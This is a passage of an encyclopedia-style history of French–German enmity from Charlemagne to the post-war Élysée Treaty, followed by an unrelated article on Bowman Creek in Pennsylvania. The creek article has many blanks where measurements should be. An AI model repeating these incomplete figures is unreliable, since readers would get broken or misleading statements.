Cultural differences between the Gauls and Germans conspired with the dramatically different extent of Romanization to establish the two cultures as distinct and discrete entities during the late Roman Empire and early Middle Ages. The Franks, themselves a Germanic tribe, abandoned much of the linguistic and cultural legacy of their Germanic forebears after having conquered Gaul and in time became distinct from other Germanic tribes closer to the Rhine and east of the Rhine.
The Carolingian Empire established in 800 by Charlemagne achieved a transitory political unity, but the death of Charlemagne's son Louis the Pious marked its demise, as in 843 the Carolingian realm was divided into three parts by the Treaty of Verdun. Short-lived Middle Francia, the weak central part under Emperor Lothair I, was soon split again. Its northern Lotharingia part on both sides of the language border became a bone of contention between the western and eastern kingdoms that developed into the modern nations of France and Germany.
France maintained a much more outward-looking geopolitical role through the Middle Ages, fighting wars against the Spanish and English that ultimately defined the nation's identity as a politically integrated and discrete unit, and occupying an important role as Europe's largest, most powerful, and most populous Christian nation. For these reasons, French gradually supplanted Latin as the common language of international diplomacy and culture. Germany, on the other hand, remained more inward-looking.
The rapid ascent of Prussia in the 19th century, and after 1871 into early 20th century, the German Empire, even without Austria, altered the balance of power between the two nations. This gave rise to an existential change in the nature of their relationship, increasingly defined by mutually hostile modern nationalism. Writers, historians and politicians in both countries tended to project their enmity backwards, regarded all history as a single, coherent and unbroken narrative of ongoing conflict, and reinterpreted the earlier history to fit into the concept of a "hereditary enmity".
France and the Habsburgs
In 1477, the Habsburg archduke Maximilian I of Austria, son of Emperor Frederick III, married Mary the Rich, the only child of the Burgundian duke Charles the Bold. Frederick and Charles had arranged the marriage, shortly before the duke was killed at the Battle of Nancy.
His ancestors of the French House of Valois-Burgundy over the centuries had acquired a collection of territories on both sides of the border of France with the Holy Roman Empire. It stretched from Burgundy proper in the south to the Low Countries in the north, somewhat resembling of early medieval Middle Francia. He had plans to raise Burgundian lands to the status of a kingdom (recreating the Kingdom of Lotharingia), but died at the Battle of Nancy (1477). Upon the duke's death, King Louis XI of France attempted to seize his heritage as reverted fiefs but was defeated by Maximilian at Battle of Guinegate (1479), who by the 1493 Treaty of Senlis annexed the Burgundian territories, including Flanders as well as French-speaking Artois and asserted the possession of the County of Burgundy (Franche-Comté).
Maximilian, Holy Roman Emperor from 1493, was also able to marry his son Philip the Handsome to Joanna of Castile, heiress to both the Crown of Castile and the Crown of Aragon. His grandson, Emperor Charles V, inherited the Low Countries and the Franche-Comté in 1506; when he by his mother also inherited Spain in 1516, France was surrounded by Habsburg territories and felt under pressure. The resulting tension between the two powers caused a number of conflicts, such as the Italian Wars or the War of the Spanish Succession, until the Diplomatic Revolution of 1756 made them allies against Prussia.
The Thirty Years War (1618–1648), was a complex conflict that took place in and around the Holy Roman empire, with religious, structural, and dynastic causes. France intervened in this conflict both indirectly, largely but not exclusively, on the side of various intervening Protestant powers, as well as directly from 1635 on. The 1648 Peace of Westphalia gave France limited control over Alsace and Lorraine. The 1679 Treaties of Nijmegen consolidated this result by bringing the towns under French control. In 1681, France occupied Strasbourg.
Meanwhile, the expanding Muslim Ottoman Empire became a serious threat to Christian Austria. The Vatican initiated a so-called Holy League against the "hereditary enemy" of Christian Europe ("Erbfeind christlichen Namens"). Far from joining or supporting the common effort of Austria, Brandenburg-Prussia, the other German states and Poland, France under Louis XIV of France invaded the Spanish Netherlands in September 1683, a few days before the Battle of Vienna. While Austria and the other German states were occupied with the Great Turkish War (1683–1699), France initiated the War of the Grand Alliance (1688–1697). The attempt to conquer large parts of southern Germany ultimately failed, when German troops were withdrawn from the Ottoman border and moved to the region. However, following a scorched earth policy that caused a large public outcry at the time, French troops, under notorious General Ezéchiel du Mas, Comte de Mélac, devastated large parts of the Palatinate, Baden and Württemberg burning down and levelling numerous cities and towns in southern Germany.
In the course of the Seven Years' War and in view of the rising Kingdom of Prussia, which had concluded the neutrality Treaty of Westminster with the British Empire, the French under King Louis XV realigned their foreign policy. The Diplomatic Revolution instigated by the Austrian chancellor Wenzel Anton Kaunitz in 1756 ended the French-Habsburg enmity.
France and Prussia
The Diplomatic Revolution as an alliance between France, the Habsburg Empire and Russia manifested in 1756 in the Treaty of Versailles and the following Seven Years' War against Prussia and Great Britain. Although an overall German nation-state was on the horizon, the loyalties of the German population outside of Prussia were primarily with smaller states. The French war against Prussia was justified through its role as guarantor of the 1648 Peace of Westphalia, and France was fighting on the side of the majority of German states, including Habsburg Austria.
The civil population still regarded war as a conflict between their authorities and distinguished between troops less according to the side on which they fought than according to how they treated the local population. The personal contacts and mutual respect between French and Prussian officers did not stop entirely while they were fighting each other, and the war resulted in a great deal of cultural exchange between the French occupiers and the German population.
The perception of war began to change after the French Revolution. The levée en masse for the Revolutionary Wars and the beginning formation of nation states in Europe made war increasingly a conflict between peoples rather than a conflict between authorities carried out on the backs of their subjects.
At the battle of Austerlitz (1805), Napoleon I put an end to the millennium-old Holy Roman Empire the next year. A year later, at the battle of Jena, French forces crushed the Prussian armies. Within two weeks of Jena, Napoleon had conquered almost all of Prussia except the area around Königsberg. The Prussian army, previously thought invincible, had been fought to almost the point of total liquidation. This humiliation led German philosophers (such as Clausewitz, Fichte, Arndt...) to play an important role for the development of German nationalism. It led politicians (such as Stein and Hardenberg) to reform Prussia in order to adapt their country to the new world brought about by the French Revolution.
The Continental System led Napoleon to directly incorporate German-speaking areas such as Hamburg into his First French Empire. Napoleon reshaped the map of Germany by the creation of the Confederation of the Rhine, which included vassal States ruled directly by members of the Bonaparte family (such as the Kingdom of Westphalia, and the Grand Duchy of Berg) and allied States who took advantage of the French protectorate to increase their territory and power (such as the Kingdom of Bavaria and the Kingdom of Saxony).
The Napoleonic Wars, often fought in Germany and with Germans on both sides, as in the Battle of the Nations at Leipzig, also marked the beginning of what was explicitly called French–German hereditary enmity. Modern German nationalism was born in opposition to French domination under Napoleon. In the recasting of the map of Europe after Napoleon's defeat, most of the German-speaking territories in the Rhineland adjoining France were put under the rule of Prussia and the remainder were ruled by Bavaria and Grand Duchy of Hesse.
Nineteenth century
During the first half of the 19th century, many Germans looked forward to a unification of most or all of the German states, but most German leaders and the foreign powers were opposed to it. The German nationalist movement believed that a united Germany (even without Austria) would replace France as the dominant land power in Western Europe. This argument was aided by demographic changes: since the Middle Ages, France had had the largest population in Western Europe, but in the 19th century, its population stagnated (a trend that continued until the second half of the 20th century), and the population of the German states overtook it and continued to rapidly increase.
Franco-Prussian War
The unification of Germany, excluding Austria, was triggered by the Franco-Prussian War in 1870 and the French defeat. The forces of Prussian and the other German states (excluding Austria) crushed the French armies at the Battle of Sedan. Finally, the Treaty of Frankfurt, reached after a lengthy siege of Paris forced France to cede the Alsace-Lorraine territory (consisting of most of Alsace and a quarter of Lorraine), of which most of the inhabitants spoke German dialects. France had to pay an indemnity of five billion francs to the newly declared German Empire. Thereafter, the German Empire had replaced France as the leading land power. Under Otto von Bismarck Germany was content--it had all it wanted so that its main goal was peace and stability. However, when it appeared Germany would decisively win in late 1870, German public opinion demanded it to humiliate France; the German Army favoured annexation to create more defensible frontiers. Bismarck reluctantly gave in--the French would never forget or forgive, he mistakenly calculated, so he might as well take the provinces. Germany's foreign policy fell into a trap with no exit. The only policy that made sense was trying to isolate France so it had no strong allies. However France complicated Berlin's plans when it became friends with Russia. In 1905 a German plan for an alliance with Russia fell through because Russia was too close to France.
Late 19th and early 20th centuries
Immigrant tensions
In the late 19th century and early 20th century, resentment existed between many nearby populations of French and German Americans, reflecting ethnic tensions on the European continent.
The World Wars
The desire for revenge (esprit de revanche) against Germany, and demands for the recovery of the "lost provinces" of Alsace and Lorraine was often heard in the 1870s. The short-term French reaction after 1871 was Revanchism: a sense of bitterness, hatred and demand for revenge against Germany, and demand for the return of the two lost provinces. Paintings that emphasized the humiliation of the defeat came in high demand, such as those by Alphonse de Neuville. However elite French opinion changed after about five years. The elites were now calm and considered it a minor issue. The Alsace-Lorraine issue was a minor theme after 1880, and Republicans and Socialists systematically downplayed the issue. J.F.V. Keiger says, "By the 1880s Franco-German relations were relatively good." Return didn't become a French war aim until after World War I began.
The Allied victory in 1918 saw France seize back Alsace-Lorraine and briefly resume its old position as the leading land power on the European continent. France was the leading proponent of harsh peace terms against Germany at the Paris Peace Conference. As the war had been fought mostly on French soil, it had destroyed much of the infrastructure and industry in Northern France, and France had suffered the highest number of casualties proportionate to population. Much of French opinion wanted the Rhineland; the section of Germany west of the Rhine and adjoining France's northeastern boundary, and the old focus of French ambition, to be detached from Germany as an independent country. In the end, the Americans and the British forced them to settle for a promise that the Rhineland would be demilitarized, and that heavy German reparation payments would be levied.<ref>Sally Marks, "Mistakes and Myths: The Allies, Germany, and the Versailles Treaty, 1918–1921." Journal of Modern History;; 85.3 (2013): 632-659 online. </ref>
On the remote eastern end of the German Empire, the Memel territory was separated from the rest of East Prussia and occupied by France before being annexed by Lithuania. Austria, which had been reduced to roughly its German-speaking areas, excluding the Sudetenland (the mostly German-inhabited areas of the Czech lands) and South Tyrol, was forbidden to re-join its former fellow states of the Holy Roman Empire by joining Germany. In response to the German failure to pay reparations under the Treaty of Versailles in 1923, France returned with the Occupation of the Ruhr area of Germany, the center of German coal and steel production, until 1925. Also, the French-dominated International Olympic Committee banned Germany from the Olympic Games of 1920 and 1924, which illustrates the French desire to isolate Germany.
Under terms of Versailles, the French Army had the right to occupy the Rhineland until 1935, but in fact the French withdrew from the Rhineland in June 1930. As a number of the units the French stationed in the Rhineland between December 1918 - June 1930 were recruited from France's African colonies, this promoted a violent campaign against the so-called "Black Horror on the Rhine" as the German government and various grass-roots German groups claimed that the Senegalese units in the French Army were raping white German women on an industrial scale. Numerous German authors likened that France, the "hereditary enemy on the Rhine" had deliberately unleashed the Senegalese-who were always portrayed as animals or malicious children -- to rape German women. In the words of the American historian Daniel Becker, the campaign against the "Black Horror on the Rhine" centered "tales of sexual violence against German, bourgeois, white women that often bordered on the pornographic" and the campaign against the "Black Horror" by various German authors and associated international sympathizers "unleashed a rhetoric of violence, and radical nationalism that, as some scholars have argued, laid the groundwork for widespread support for the various racial projects of the Nazi regime." Additionally, the campaign against the "Black Horror on the Rhine" served to strengthen the demand for Germany to become the Volksgemeinschaft (People's Community") because only by becoming united in the Volksgemeinschaft could Germany again become strong enough to crush France and end the "Black Horror".
However, the UK and the US did not favor these policies, which were seen as too pro-French. Germany soon recovered economically and then from 1933, under Adolf Hitler, began to pursue an aggressive policy in Europe. Meanwhile, France in the 1930s was tired, politically divided, and above all dreaded another war, which the French feared would again be fought on their soil for the third time, and again destroy a large percentage of their young men. France's stagnant population meant that it would find it difficult to withhold the sheer force of numbers of a German invasion; it was estimated Germany could put two men of fighting age in the field for every French soldier. Thus in the 1930s the French, with their British allies, pursued a policy of appeasement of Germany, failing to respond to the remilitarization of the Rhineland, although this put the German army on a larger stretch of the French border.
Finally, however, Hitler pushed France and Britain too far, and they jointly declared war when Germany invaded Poland in September 1939. But France remained exhausted and in no mood for a rerun of 1914–18. There was little enthusiasm and much dread in France at the prospect of actual warfare. After the Phoney War when the Germans launched their blitzkrieg invasion of France in 1940, the French Army crumbled within weeks, and with Britain retreating, an atmosphere of humiliation and defeat swept France.
A new government under Marshal Philippe Pétain called for an armistice, and German forces occupied most of the country. A minority of the French forces escaped abroad and continued the fight under General Charles de Gaulle (the "Free French" or the "Fighting French"). On the other hand, the French Resistance conducted sabotage operations inside German-occupied France. To support the invasion of Normandy of 1944, various groups increased their sabotage and guerrilla attacks; organizations such as the Maquis derailed trains, blew up ammunition depots, and ambushed Germans, for instance at Tulle. The 2nd SS Panzer Division Das Reich came under constant attack and sabotage on their way across the country to Normandy, suspected the village of Oradour-sur-Glane of harboring terrorists, arms and explosives, and wiped out the population in retaliation.
There was also a free French army fighting with the Allies, numbering almost 500,000 men by June 1944, 1,000,000 by December and 1,300,000 by the end of the war. By the war's end, the French army occupied south-western Germany and a part of Austria. French troops under the command of General Jean de Lattre de Tassigny destroyed and looted the town of Freudenstadt in the southern Blackforest (Schwarzwald) region for 3 days and perpetrated at least 600 rapes of German women of all ages there. Also various killings of civilians are recorded there. Mass rapes committed by French troops were also reported in the cities of Pforzheim, Stuttgart, Magstadt and Reutlingen.Stephenson, Jill (2006) Hitler's Home Front: Württemberg under the Nazis London: Continuum. p. 289. .
When Allied forces liberated Normandy and Provence in August 1944, a victorious rebellion emerged in occupied Paris and national rejoicing broke out, as did a maelstrom of hatred directed at French people who had collaborated with the Germans. Some Germans taken as prisoners were killed by the resistance.
Post-war relations
There was debate among the other Allies as to whether France should share in the occupation of the defeated Germany because of fears that the long Franco-German rivalry might interfere with the rebuilding of Germany. Ultimately the French were allowed to participate and from 1945 to 1955, French troops were stationed in the Rhineland, Baden-Württemberg, and part of Berlin, and these areas were put under a French military governor. The Saar Protectorate was allowed to rejoin West Germany only in 1957.
Kehl was turned into a suburb of Strasbourg. After the war, all citizens were expelled from Kehl. This state of affairs continued until 1953, when the city was returned to the Federal Republic of Germany and the refugees returned.
In the 1950s, the French and West Germans launched a new period of Franco-German cooperation that led to the formation of the European Union. Since then, France and Germany (West Germany between 1949 and 1990) have generally cooperated in the running of the European Union and often in foreign-policy matters in general. For example, they jointly opposed the US invasion of Iraq in 2003, leading U.S. Secretary of Defense Donald Rumsfeld to lump them together as "Old Europe."
Chronology
843: Treaty of Verdun: division of the Holy Roman Empire of Charlemagne into a Western Franconia realm (foundation of France), a central realm (Lorraine), and an Eastern Franconia realm (foundation of Germany).
1214: Battle of Bouvines
1250–1300: Philip IV of France's offensive territorial policy against the Holy Roman Empire
1477: After the death of Charles I, Duke of Burgundy, the territory of the Duchy of Burgundy was annexed by France. In the same year, Charles' daughter Mary of Burgundy married Archduke Maximilian of Austria, giving the Habsburgs control of the remainder of the Burgundian Inheritance. Although the Duchy of Burgundy itself remained in the hands of France, the Habsburgs remained in control of the other parts of the Burgundian inheritance, notably the Low Countries and the Free County of Burgundy.
1477–82: War of the Burgundian Succession
1485-1488: Habsburg supported the Mad War.
1513: Battle of the Spurs
1618–48: Thirty Years' War
1667–68: War of Devolution
1672–78: Franco-Dutch War between the Netherlands and France expands to a European conflict in 1673–74
1683–84: War of the Reunions
1688: War of the Grand Alliance
1688–1702 Esechiel du Mas, Comte de Melac pursues a policy of death and destruction in SW Germany "Brûlez le Palatinat", countless cities, towns and villages were reduced to ashes
1701–14: War of the Spanish Succession between the Houses of Bourbon and Habsburg
1718: War of the Quadruple Alliance
1733–35: War of the Polish Succession between the Houses of Bourbon and Habsburg
1740–48: War of the Austrian Succession → main antagonists: France and Great Britain
1754 and 1756–63: Seven Years' War → Prussia, Great Britain, and Hannover against France, Austria, the Russian Empire, Sweden, and Saxony
1775–83: American Revolutionary War
1792–1815: French Revolutionary Wars
1792–97: War of the First Coalition: Prussia and Austria, since 1793 also Great Britain, Spain, the Netherlands, Sardinia, Naples, and Tuscany against French Republic. French occupation of the Rhineland.
1794: Holy Roman Empire and France, French occupation of Austrian Netherlands (1795–1806 Batavian Republic)
1799–1815: Napoleonic Wars
1803–06: War of the Third Coalition: France closes out the Holy Roman Empire.
1806–07: War of the Fourth Coalition: Prussia, Electorate of Saxony, Saxony-Weimar, and Brunswick against the French Empire. All Franco-Prussian battles were French victories of Napoleon I (including Battle of Jena–Auerstedt) ensuing this was the occupation of Prussia per the Treaties of Tilsit. Prussia was conquered by France in only 19 days.
1813: Battle of the Nations
1840: Rhine crisis: Rhine was a historic object of frontier trouble, between France and Germany; in 1840, the Rhine crisis evolved, because the French prime minister, Adolphe Thiers, started to talk about the Rhine border.
1848: Revolutions of 1848 grip the German states after French liberalism becomes popular with German peasants.
1870–71: Franco-Prussian War. The defeat of Napoleon III led to the unification of Germany, excluding Austria, in the German Empire under Prussian leadership.
1914–18: World War I, mostly fought in trenches in France
1923–30: French Occupation of the Ruhr.
1939–40: Battle of France. Victory of Hitler over the Allies (France, Great Britain et al). France was conquered by Germany in only 1 month and 12 days.
1940–42: North part of metropolitan France is occupied by Germany per the Second Armistice at Compiègne.
1942–44: Following the Anglo-American landing in French North Africa, the south part of France is occupied by Germany.
1944–45: Following the Allies landing in Normandy and Provence (including Free French forces), a Vichy French exile government is created in western Germany, the Sigmaringen enclave.
1945: The defeat of Germany during World War II led to the French occupation of parts of western Germany (and Berlin)
1963: Élysée Treaty of friendship between France and West Germany, signed by President Charles de Gaulle and Chancellor Konrad Adenauer
See also
France–Germany relations
International relations (1814–1919)
French–Habsburg rivalry
References
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Further reading
Albrecht-Carrié, René. A Diplomatic History of Europe Since the Congress of Vienna (1958), 736pp; basic survey
Carroll, E. Malcolm. French Public Opinion and Foreign Affairs: 1870-1914 (1931) online
Clark, Christopher. The Sleepwalkers: How Europe Went to War in 1914 (2013) excerpt and text search
Langer, William. An Encyclopedia of World History (5th ed. 1973); highly detailed outline of events
MacMillan, Margaret. The War That Ended Peace: The Road to 1914 (2013)
Rich, Norman. Great Power Diplomacy: 1814-1914 (1991), comprehensive survey
Scheck, Raffael. “Lecture Notes, Germany and Europe, 1871–1945” (2008) full text online, a brief textbook by a leading scholar
Steiner, Zara. The Triumph of the Dark: European International History, 1933–1939 (Oxford History of Modern Europe) (2011) 1236pp
Taylor, A.J.P. The Struggle for Mastery in Europe 1848–1918 (1954) 638pp; advanced history and analysis of major diplomacy
Wetzel, David. A Duel of Giants: Bismarck, Napoleon III, and the Origins of the Franco-Prussian War (2003)
Young, Robert France and the Origins of the Second World War (1996)
External links
Aide-mémoire concerning the separation of Germany’s industrial regions (8 September 1945) Franco-German relations. CVCE.eu
France, Germany and the Struggle for the War-making Natural Resources of the Rhineland
French–German enmity in the New York Times''
Fäßler, Peter: Der Rhein, Deutschlands Strom, nicht seine Grenze
France–Germany relations
Geopolitical rivalry
Political history of Germany
Political history of France
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https://en.wikipedia.org/wiki/Bowman%20Creek
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Bowman Creek
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Bowman Creek (also known as Bowmans Creek or Bowman's Creek) is a tributary of the Susquehanna River in Luzerne County and Wyoming County, in Pennsylvania, in the United States. It is approximately long and flows through Ross Township and Lake Township in Luzerne County and Noxen Township, Monroe Township, and Eaton Township in Wyoming County. The watershed of the creek has an area of . The creek is not designated as an impaired waterbody and its pH is close to neutral, although it has experienced some problems with acid rain. It has low concentrations of dissolved solids like calcium. The creek is relatively small in its upper reaches, but by Noxen, its width is . It is also relatively shallow in many reaches. Rock formations in the watershed include the Catskill Formation, the Huntley Mountain Formation, Burgoon Sandstone, the Mauch Chunk Formation, the Pottsville Group, and the Pocono Formation. Soil associations in the creek's watershed include the Wellsboro-Morris-Oquaga association, the Oquaga-Lackawanna-Arnot association, the Mardin-Bath-Volusia association, and the Wyoming-Pope association.
The dominant land use in the watershed of Bowman Creek is forested land, which occupies nearly 90 percent of its area. Minor land uses in the watershed include meadows, agricultural land, and many others. Most of the development in the watershed is clustered along the highways that run through it. The creek has, on occasion, experienced major flooding. Bowman Creek was visible on maps by 1791, and there were a number of settlers in its vicinity by the early 1800s. Historically, industries in the creek's watershed included lumbering, agriculture, tanneries, gristmills, and ice harvesting. Numerous bridges have been constructed over Bowman Creek. The Bowmans Creek Watershed Association is active within the creek's watershed.
The main stem of Bowman Creek is designated as a High-Quality Coldwater Fishery and a Migratory Fishery, as are most of its tributaries. The creek is inhabited by brook trout, brown trout, and rainbow trout and reaches of it are stocked with trout. The creek is well known in the area for its significance as a trout stream. Reaches of it are also navigable by canoe. Parts of the creek are in Pennsylvania State Game Lands Number 57 and Ricketts Glen State Park.
Course
Bowman Creek begins in Ross Township, Luzerne County at the mouths of North Branch Bowman Creek and South Branch Bowman Creek on North Mountain. It flows northeast for some distance, passing through a lake and receiving the tributary Bean Run. A short distance later, it turns roughly east for a couple of miles, receiving the tributary Wolf Run. The creek then turns northeast for a few miles, entering Lake township, Luzerne County. In this township, it receives the tributaries Beth Run and Butternut Run. It then turns north and on the northern edge of the township, the creek leaves Lake Township and Luzerne County.
Upon leaving Luzerne County, Bowman Creek enters Noxen Township, Wyoming County. It almost immediately receives the tributaries Sugar Run and Cider Run and then turns northeast. Continuing northeast, the creek picks up the tributaries Broud Hollow Run, Windfall Run, and Sober Run and also passes by Stone Mountain. It then turns north-northeast and picks up Stone Run, passing by the community of Stull. The creek then turns roughly east for a few miles and its valley widens as it passes through the community of Noxen. In Noxen, the creek receives the tributaries York Run, Hettesheiner Run, and Beaver Run. Upon exiting Noxen, the creek enters Monroe Township, Wyoming County. In this township, it picks up the tributary South Run and turns north, flowing parallel to Pennsylvania Route 29. As the creek passes between Schooley Mountain and Brier Mountain, it receives the tributary Leopard Creek. Some distance later, it turns northeast and enters Eaton Township, Wyoming County. In this township, the creek turns east and then north for a few miles. It then turns east for a few miles and reaches its confluence with the Susquehanna River.
Bowman Creek joins the Susquehanna River upstream of its mouth.
Hydrology
Bowman Creek is not designated as an impaired waterbody. However, in the creek's middle or upper reaches, of streams are impaired by atmospheric deposition. The upper reaches of the creek experience seasonal acidity problems. During the summer months, the creek is shallow and clear. John Levitsky, a member of the Luzerne County Conservation Association, has sprinkled limestone on roads to raise the pH of the creek. Since the late 1990s, tons of limestone have been dumped into the creek by the Bowman Creek Watershed Association and a chapter of Trout Unlimited.
In a one-year period in 1918 and 1919, the maximum gauge height of Bowman Creek at Eatonville was . The minimum gauge height was .
Bowman Creek is classified as a freestone stream. It is typical for a freestone stream in that it contains few dissolved substances such as calcium and that its pH is close to neutral.
The average annual discharge of Bowman Creek in its middle reaches is . The maximum flow time from the creek's headwaters to a point in its middle reaches is 23 hours and 19 minutes. In the mid-1970s, the turbidity of the creek near Tunkhannock ranged from 2 to 30 Jackson Turbidity Units. The specific conductance of the creek ranged from 45 to 150 micro-siemens per centimeter at . The pH was close to neutral, ranging from 6.6 to 7.3.
In the mid-1970s, the concentration of dissolved oxygen in Bowman Creek near Tunkhannock ranged from . The carbon dioxide concentration ranged from . The concentration of organic carbon was and the phosphorus concentration ranged from . The ammonia concentration ranged from .
In the mid-1970s, the concentration of magnesium and calcium in Bowman Creek near Tunkhannock ranged from and , respectively. The iron concentration ranged from less than to . The sulfate and chloride concentrations ranged from and , respectively.
As of 2010, Cabot Oil & Gas withdraws from Bowman Creek per day for gas drilling operations. There were some complaints about the company withdrawing too much water, but the withdrawals were found to not impact the creek.
Geography, geology, and climate
The elevation near the mouth of Wyoming Creek is above sea level. The elevation of the creek's source is between . Between above sea level (river mile 25.5) and above sea level (river mile 3.5), the creek's elevation decreases at a rate of per mile. The highest elevation in the watershed is approximately above sea level, on North Mountain. The lowest elevation is approximately above sea level, near the Susquehanna River. Many of the highest elevations occur in the western and southwestern parts of the creek's watershed.
Bowman Creek is a relatively small creek, about the size of a brook, in its upper reaches. However, by the time it reaches Stull, it is wide and by the time it reaches Noxen, the creek has a width of . There are several deep holes along the creek, as well as oxygen-rich riffles.
Many reaches of Bowman Creek are shallow enough for wading. However, its currents can be swift at times. There is at least one area of the creek consistently has cool and deep waters.
A portion of Bowman Creek is on the plateau of North Mountain. The creek flows through a deep valley that somewhat resembles a gorge. The stream banks of the creek have riprap in some places. Houses line the creek in places as well. A waterfall known as Evans Falls is situated on Bowman Creek. It is high. Additionally, there are strainers on portions of the creek. At Eatonville, the creek has high streambanks and a streambed of gravel. The creek's valley is wide.
The topography of the watershed of Bowman Creek is described as "rough and hilly" in a 1921 book. There are steep hills in the upper reaches of the watershed, but gentle slopes on the valley floor. There are some small lakes such as Rymans Pond, which has a surface area of . A number of swamps are also present in the watershed. The area contains a narrow valley surrounded by hills that are between and in height. Glaciation has affected the watershed in the past.
The channel of Bowman Creek is sinuous, with alluvial floodplains in some areas. The creek flows through rock formations made of sandstone and shale. Glacial drift is also present in the watershed. Interbedded sedimentary rock and sandstone are prevalent in the creek's watershed. Copper ore has been discovered in the vicinity of the creek.
The most common rock formation in the watershed of Bowman Creek is the Catskill Formation, which occupies most of the eastern part of the watershed. Further to the west, there is a sizable band of the Huntley Mountain Formation, which also occurs in a few small patches further to the east. On the westernmost and southwesternmost fringe of the watershed, there is a band of Burgoon Sandstone. Other rock formations occupy far smaller areas. The Mauch Chunk Formation occurs in a few tiny patches along the western and southwestern edges of the watershed, and one tiny patch of the Pottsville Group occurs on the watershed's western edge as well. In the northern part of the creek's watershed, there are four small patches of the Pocono Formation.
There are four different soil associations in the watershed of Bowman Creek: the Wellsboro-Morris-Oquaga association, the Oquaga-Lackawanna-Arnot association, the Mardin-Bath-Volusia association, and the Wyoming-Pope association. The Wellsboro-Morris-Oquaga association is prevalent in the eastern part of the creek's watershed, while the Oquaga-Lackawanna-Arnot association occurs in the western part of the watershed. The Mardin-Bath-Volusia occurs on rolling uplands north of Harveys Lake, and the Wyoming-Pope Association occurs in terraces and floodplains along the creek. The first two soil associations are the most common in the creek's watershed.
Bowman Creek is at the eastern boundary of the North Mountain region of Pennsylvania. To the east of the creek, there are considerably lower mountains, such as Bowman's Mountain and Eaton Knob. There is also a high divide between Bowman Creek and Mehoopany Creek. A steep, east-facing slope known as the Bowman Creek Ledges is located along the creek in Eaton Township, Wyoming County. These ledges are made of sandstone and shale.
Major dams in the watershed of Bowman Creek include the Lake Catalpa Dam, the Beech Lake Dam, The Meadows Dam, Splash Dam, and Splash Dam No. 2. Some reaches of the creek have been channelized. Bowman Creek is somewhat narrower than the nearby Mehoopany Creek.
The annual rate of precipitation in the watershed of Bowman Creek ranges between and . In two measurements in the mid-1970s, the water temperature of the creek near Tunkhannock ranged from .
Watershed
The watershed of Bowman Creek has an area of . The watershed is in northwestern Luzerne County and southern Wyoming County. The drainage basin of the creek is part of the Upper North Branch Susquehanna River drainage basin. In the upper of the creek's watershed, there are of streams. In 2010, the population of this segment of the watershed was 2667.
The mouth of Bowman Creek is in the United States Geological Survey quadrangle of Tunkhannock. However, its source is in the quadrangle of Sweet Valley. The creek also passes through the quadrangles of Center Moreland and Noxen. There are twelve municipalities in the watershed of the creek. Six of these (Fairmount Township, Ross Township, Lake Township, Harveys Lake, Dallas Township, and Franklin Township) are in Luzerne County, while the other six (Noxen Township, Monroe Township, Northmoreland Township, Forkston Township, Eaton Township, and Mehoopany Township) are in Wyoming County.
The most common land use in the watershed of Bowman Creek is forested land, which occupies , or 82.98 percent of the watershed. Another , or 10.46 percent, consists of meadows, while R-1 tracts of make up , or 2.68 percent of the watershed. Agricultural land makes up (2.59 percent of the watershed), water occupies (0.60 percent of the watershed), and farmsteads occupy (0.19 percent of the watershed). Orchards occupy (0.13 percent of the watershed), commercial land occupies (0.10 percent of the creek's watershed). R-2 tracts of also make up (0.10 percent of the creek's watershed), while mining land makes up (0.06 percent of the watershed). Open space and R-4 tracts of less than each occupy (0.04 percent of the watershed), while R-3 tracts of makes up (0.03 percent of the watershed).
Most of the residential and commercial development in the watershed of Bowman Creek is clustered along Pennsylvania Route 29, Pennsylvania Route 292, and Pennsylvania Route 309. As of 2000, agricultural land in the creek's watershed is becoming less common, as it is being converted to residential land. Many wetlands on the National Wetlands Inventory are in the creek's watershed. Some forests in the creek's watershed are on private land, and most of these areas are posted against trespassing. Most of the creek upstream of Noxen flows through forested land. However, downstream of Noxen, the creek flows through forested land, farms, and small settlements. Some reaches in this area are also posted.
There are at least three natural gas drilling pads in the watershed of Bowman Creek. There seven groundwater withdrawals and no surface water withdrawals for public water supply in the upper of the watershed. A gravel road runs from the community of Stull up to the headwaters of the creek. A lake known as Mountain Springs Lake is in the upper reaches of the creek's watershed, although it is currently dry. On the main stem of Bowman Creek, near the confluence of North Branch Bowman Creek and South Branch Bowman Creek, is Ice Dam No. 1, which is also dry. Further downstream, the creek flows over splash dams.
Bowman Creek has been known to flood "from time to time". However, because the creek's floodplain is not developed, such floods typically cause a relatively small amount of damage. A flood on the creek in 1850 carried away many buildings such as houses, barns, and mills. In the 2000s, the creek and its tributaries experienced significant damage due to major flooding. The creek also experienced flooding in Noxen due to Hurricane Irene in 2011.
Major roads providing access to Bowman Creek include Pennsylvania Route 309, Pennsylvania Route 29, and Pennsylvania Route 292. There are no mining sites in the vicinity of the creek.
Bowman Creek has been described as a "very pristine" stream.
History and industries
Bowman Creek was entered into the Geographic Names Information System on August 2, 1979. Its identifier in the Geographic Names Information System is 1198468. The creek is also known as Bowmans Creek or Bowman's Creek. The first of these variant names appears in a county highway map published by the Pennsylvania Department of Transportation.
Bowman Creek appeared on maps as early as 1791. By 1794, Thomas Pickering and a group of fifty others were raising money to build bridges over Bowman Creek. By the early 1800s, there were a few settlers in the valley of Bowman Creek. However, the land was poor and most inhabitants were located near the Susquehanna River. A surveyor named Josiah Newberry was one of the first settlers to arrive in Monroe Township, Wyoming County; he settled on the creek in 1813. The first post office in Monroe Township was located on Bowman Creek and was named after the creek.
There was a lumbering industry in the watershed of Bowman Creek by the late 1800s. In 1876, the Lehigh Valley Railroad purchased of timbering land in the vicinity of the creek. Until the early 1890s, when rail lines reached the area, the lumbering industry used splash dams, creek freshets, and wagons to transport their lumber to the market. In 1885, the Lehigh Valley Railroad surveyed several routes from the Wyoming Valley to Bowman Creek. Several other railroad companies at the time also had interest in such a railroad.
By 1892, there was a railroad running to Noxen, on Bowman Creek. This railroad was known as the Bowman's Creek Branch and it was abandoned in 1963.
In the early 1900s, the main industries in the watershed of Bowman Creek included tannery and agriculture. The creek and its tributary Hettesheimer Run were used as an industrial supply in the community of Noxen during this time period. Additionally, the creek's water flow powered a gristmill. The Lehigh Valley Railroad passed through the watershed of the creek and ran parallel to it in its upper reaches in the early 1900s. The Noxen railroad depot was constructed in 1893 in the creek's watershed and is now owned by the North Branch Land Trust. Splash dams on the creek historically supplied ice to the Wyoming Valley.
In the early 1900s, the major communities in the watershed of Bowman Creek included Noxen, Beaumont, and Eatonville. In 1921, their populations were 500, 208, and 161, respectively. A gauging station was established on Bowman Creek at Eatonville in January 1914. In 1962, a tannery spill on the creek killed nearly 300 legal trout.
